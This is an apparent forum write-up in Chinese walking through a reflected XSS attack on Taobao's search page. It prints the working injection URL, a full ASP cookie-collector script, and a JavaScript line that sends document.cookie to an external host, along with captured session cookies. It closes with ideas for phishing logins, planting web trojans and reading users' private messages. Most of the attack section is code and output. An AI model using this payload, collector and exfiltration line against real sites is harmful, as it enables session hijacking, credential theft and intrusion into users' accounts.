|
上次感到那个xss的用户会有很大,简单的分析了一下,周末花了一下午的时间,重新审了一下。
这是一个非常低级的xss,连基本的冒号就没有过滤。看来是大意所致,其他的地方,都没有这个毛病。
既然已经得到可以xss地方。我就直接使用外部脚本加载来执行一些操作。使用外部脚本加载
http://192.168.0.15/test.js就是第三方的脚本文件。也可以是任何的公网地址。在脚本里可以随便写上一些证明的语句,比如alert。- http://search1.taobao.com/browse/search_auction.htm?f=D9_5_1&commend=all&prop=&ppath=&promote=&_promote=&isnew=&user_action=initiative&at_topsearch=1&search_type=auction&q=>"'><script%20src=http://192.168.0.15/test.js></scrīpt>&cat=&productCat=1&book_search=fuzzy_sr_all_text
复制代码 访问之后,成功的执行了外部js的文件。这样,我就可以有更多空间去完成自己的操作。
在虚拟机上登录自己的淘宝帐号,然后在ie的地址栏中输入javascrīpt:alert(document.cookie)查看当前的cookie。
真正的cookie
---------------------------
Microsoft Internet Explorer
---------------------------
uc1=_yb_=false&_msg_=0&_msg_v=true&cookie21=KwmMFB0d1nI9&cookie14=KPtF5EqaNsqDvQ%3D%3D&cookie15=dHJ1ZQ==&cookie16=LxCHKl404vvFNTkbknIAwYbDuw%3D%3D&cookie17=IZioVB3mclM%3D&existShop=false&existXShop=false;
cookie2=a4eda691fb507c147b72295462ba10b8; t=cf6f6f6c37808b6701f6d9b69da117a3; _reg_table_=ONQYEVJBXCWPFTKGLZHIMRUDAS;
_reg_name_=VyO3HBcFYdM%3D; _reg_first_time_date=KPtF5EqaN8X2j%2FP6Vg%3D%3D; cookie1=L0kKVuHbka5%2BsNZi9DhQXxbu4tf8obcF1sARtUrSoT4%3D; lastgetwwmsg=MTIxODg3Mjg1MQ%3D%3D; ssllogin; _ad_; _wwmsg_=0%2C0; btc=81000867%2B150402%3A50%3B150401%3A50%3B%3A%3B%3A%3B%3A%3B%3A; _sv_=0; tracknick=sihanjishu; tg=0; _cc_=Icgi8Z%2F1iA%3D%3D; _nk_=sihanjishu;user_tag_user_id=KpAfzyJUgA0JMCndQZVHJw%3D%3D
---------------------------
OK
---------------------------
然后访问上面的构造的xss地址。同时修改js的脚本为alert(document.cookie)
再次访问xss地址,结果发现,弹出了cookie的提示。
这说明通过外部脚本的加载已经可以操纵cookie了。下一步就是把用户的cookie偷走。
修改js的脚本文件,这次通过js发送请求,把当前的cookie发送到网路上去。
我在外部网络上新建一个web服务器,然后写一个接受请求的文件,把获得的请求保存起来。http://192.168.0.15/xssc.asp就是外部的用来保存请求数据的文件。
http://192.168.0.15/xssc.asp的内容如下,这是利用网上一个现成的工具,sessionIE,其实任何可以记录请求数据,保存cookie的脚本都可以了。我图个省事。就直接使用工具了。- <%
- Password="123" '修改为你的密码
- afile=Application("fpath")
- if afile="" then
- afile="xsscookies.xml"
- end if
- rfile=Server.MapPath(afile)
- '非管理ip,cookie文件位置
- set fs=server.CreateObject("scripting.filesystemobject")
- If Request("p")=Password Then
- afile=replace(replace(replace(Now&".xml","-",""),":","")," ","")
- rfile=Server.MapPath(afile)
- Application("ExIp") = Request.ServerVariables("REMOTE_ADDR")'设置管理ip用于排除cookie
- ofile=Application("fpath")
- if ofile="" then
- ofile="xsscookies.xml"
- end if
- if (fs.FileExists(Server.MapPath(ofile))) then
- Response.write("<Items><links>"&ofile&"</links></Items>")'返回上一个cookie文件url
- else Response.write("<Items><links/></Items>")
- end if
- Application("fpath")=afile'产生新cookie文件
- Response.End()
- Else
- If Application("ExIp") = Request.ServerVariables("REMOTE_ADDR") Then '管理地址密码错误时
- Application("ExIp") = "127.0.0.1"
- End if
- End if
- If Application("ExIp") <> Request.ServerVariables("REMOTE_ADDR") Then '记录非管理地址的cookie
- c=Request.QueryString
- if c="" Then
- response.End ()
- End if
- check(rfile)
- dealXml(rfile)
- response.redirect("no.jpg")
- End if
- Function check(filename)
-
- 'Response.write(rfile)
- If not fs.FileExists(rfile) Then
- set f=fs.OpenTextFile (rfile,8,True,0)
- f.WriteLine("<rss version=""2.0"">")
- f.WriteLine("<treeroot/>")
- f.WriteLine("</rss>")
- f.Close
- 'Response.write(rfile)
- End If
- End Function
- Function dealXml(filename)
- set xmldoc=server.CreateObject("MicroSoft.XMLDom")
- xmldoc.load(filename)
- set newnode=xmldoc.createelement("item")
- newnode.appendchild(xmldoc.createelement("title"))
- newnode.appendchild(xmldoc.createelement("link"))
- newnode.appendchild(xmldoc.createelement("src_ip"))
- newnode.appendchild(xmldoc.createelement("src_os"))
- newnode.appendchild(xmldoc.createelement("pubDate"))
- newnode.appendchild(xmldoc.createelement("description"))
- newnode.childnodes(0).text=Request.ServerVariables("REMOTE_HOST")
- newnode.childnodes(1).text=Request.ServerVariables("HTTP_REFERER")
- newnode.childnodes(2).text=Request.ServerVariables("REMOTE_ADDR")
- newnode.childnodes(3).text=Request.ServerVariables("OS")
- newnode.childnodes(4).text=now
- newnode.childnodes(5).text=c
- xmldoc.documentElement.SelectSingleNode("//rss/treeroot").appendchild(newnode)
- xmldoc.save(filename)
- End function
- set fs = Nothing
- %>
复制代码 外部脚本js的内容修改为如下,也就是把cookie发送出去。- new Image().src="http://192.168.0.15/xssc.asp?"+escape(document.cookie);
复制代码 再次访问上面构造的那个xss地址。成功的在外部计算机上得到了虚拟机里登录淘宝的cookie。
收到的cookie内容。
uc1=_msg_=0&_msg_v=true&cookie21=KwmMFB0d1nI9&cookie14=KPtF5EqaMaMA8Q%3D%3D&cookie15=dHJ1ZQ==&cookie16=LxCHKl404vvFNTkbknIAwYbDuw%3D%3D&cookie17=IZioVB3mclM%3D&existShop=false&existXShop=false&_yb_=false; cookie2=a4eda691fb507c147b72295462ba10b8; t=cf6f6f6c37808b6701f6d9b69da117a3;
_reg_table_=ONQYEVJBXCWPFTKGLZHIMRUDAS; _reg_name_=VyO3HBcFYdM%3D; _reg_first_time_date=KPtF5EqaN8X2j%2FP6Vg%3D%3D;
cookie1=L0kKVuHbka5%2BsNZi9DhQXxbu4tf8obcF1sARtUrSoT4%3D; lastgetwwmsg=MTIxODg3Mjg1MQ%3D%3D; ssllogin; _ad_; _wwmsg_=0%2C0;
btc=81000867%2B150402%3A50%3B150401%3A50%3B%3A%3B%3A%3B%3A%3B%3A; _sv_=0; tracknick=sihanjishu; tg=0; _cc_=Icgi8Z%2F1iA%3D%3D;
_nk_=sihanjishu; user_tag_user_id=KpAfzyJUgA0JMCndQZVHJw%3D%3D
cookie不是完全一样,很奇怪,没有分析具体的原因。然后使用sessionIE,去访问得到的页面,竟然发现提示需要登录。淘宝成功的限制了伪造的登录。
看来是淘宝做什么限制了,不在同一台计算机的登录是不同的。这样的情况,在qq邮箱里也存在,应该是采用什么技术吧,以前听说过一点。这个我很菜,估计页面里含有一些隐藏的变量吧。这个暂不分析。没有时间去深入。
既然得到cookie无法去访问后台,就表明暂时这个xss还是没有太大危害性的。
现在换一个思路。既然得到cookie也无法操纵别人后台,那我就选择在xss的时候通过js去操纵。
这时发现搜索页面,也就是那个存在xss的页面,竟然和淘宝的用户后台不在一个二级域名中,也就是说,可能不在同一个计算机上。这样xss的请求访问后台,是相当于跨域访问的。当然,如果域的限制不是很严格的话,也许可以突破。
剩下的思路就是通过一些跨域的漏洞,去访问其他域名下的信息,比如操纵后台的操作,访问别人的站内信内容。
我不知道淘宝的cookie设置的是否是二级域名区别的,如果可以访问同一根域名下的内容,这样就简单多了。
这个xss的危害
1、可能导致用户的信息泄漏。后台的数据遭到篡改。利用ie的跨域漏洞,可能会访问到很多的内容。
2、可能会利用社工,用来欺骗用户的密码,在外部的js文件中,做一个登录的假页面,然后用户的用户名和密码。
3、利用淘宝上的这个xss,直接在js中加载一些恶意代码,网页木马什么的。直接入侵用户的电脑。
暂时研究到此为止吧。要吃饭了。
我水平很菜,以后有时间再慢慢分析如何利用外部脚本控制,访问用户的站内信。或者操纵其他内容。 |
|